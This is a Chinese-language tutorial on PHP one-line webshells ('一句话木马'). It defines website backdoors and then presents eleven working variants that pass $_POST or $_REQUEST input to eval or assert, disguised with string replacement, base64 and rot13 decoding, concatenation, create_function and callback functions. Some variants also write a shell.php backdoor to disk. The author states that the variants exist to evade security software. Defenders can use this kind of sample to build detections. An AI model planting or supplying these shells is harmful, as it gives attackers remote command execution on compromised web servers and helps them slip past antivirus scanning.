一句话木马变形
介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php 文件,从而得到一个命令执行环境,最终达到控制网站服务器的目的(可以上传下载文件,查看 数据库,执行任意程序命令等)。这样的文件叫做后门。
下面整理了一下当前最常见的PHP后门:
最流行的一种后门叫做一句话木马,例如:<?php eval($_POST[‘cmd’]);?>
原理:
1、在PHP脚本语言中,eval或者assert(code)的功能是将code组合成php指令,然后将指令执行。
2、<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执行 echo phpinfo();语句。
优点:短小精悍,功能强大。
缺点:容易被安全软件检测出来。
为了增强隐蔽性,减小被检测的出来的概率,出现了各种一句话木马的变形。
下面是我做的几种测试,当然一句话的变形并不局限于以下,我们也可以传入文件,在用动态写入语句,在同级目录下创建一句话后门,比如:<?php fputs(fopen(“shell.php”,”w”),”<?php eval(\$_POST[‘cmd’]);?>”)?>
变形一
1 2 3 4 5
| <?php $a=str_replace("x", "", "axsxxxxsxexrt"); $a($_POST["cmd"]); ?>
|
变形二
1 2 3 4
| <?php $fun=create_function('',$_POST['a']); $fun(); ?>
|
变形三
1 2 3
| <?php @call_user_func(assert,$_POST['a']); ?>
|
变形四
1 2 3 4
| <?php @$test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("shell.php", $test); ?>
|
变形五
1 2 3 4
| <?php $a = "assert"; $a(@$_POST['a']); ?>
|
变形六
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09"; $__P_P="abcdefghijklmnopqrstuvwxyz"; $__X_X="123456789"; $__O_O=$__X_X[5].$__X_X[3]."_"; $__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4]; $__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4]; $__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11]; $__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4]; $__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13]; $_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");'); @$_[00]($__H_H($__H_H($__C_C))); ?> //解码后即==> eval($_POST[x]);
|
变形七
1 2 3 4
| <?php $a=str_replace("Waldo", "", "aWaldossert"); $a(@$_POST['a']); ?>
|
变性八
1 2 3 4
| <?php $_=base64_decode("YXNzZXJ0"); $_(str_rot13('riny($_CBFG[cntr]);')) ?>
|
变形九
1 2 3 4 5 6
| <?php $a="a"."s"."s"; $b="e"."r"."t"; $c=$a.$b; $c($_POST['a']) ?>
|
变形十
1 2 3 4 5 6
| <?php $str="a=assert"; parse_str($str); //$a=eval $a($_POST['a']); ?>
|
变形十一
1 2 3 4 5
| <?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, $e); ?>
|
当然以上的有些函数可能在有些版本不能运行,虽然版本的更新,也需要更新,所以以上结果的仅作参数,不唯一。